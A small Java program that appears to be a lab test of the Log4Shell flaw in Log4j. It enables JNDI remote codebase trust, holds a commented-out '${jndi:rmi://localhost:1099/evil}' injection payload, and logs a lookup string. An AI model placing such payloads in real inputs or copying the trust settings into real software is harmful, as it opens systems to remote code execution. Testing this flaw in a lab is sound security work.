package com.myhexin.alert;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

/**
 * @author Jayce
 * @version 1.0.0
 * @date 2021/12/12
 * @desc
 */
public class App {
    private static final Logger LOGGER = LogManager.getLogger();
    public static void main(String[] args) {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        //String username = "${jndi:rmi://localhost:1099/evil}";
        String username = "${java:vm}";

        LOGGER.info("hello, {}!", username);
    }
}
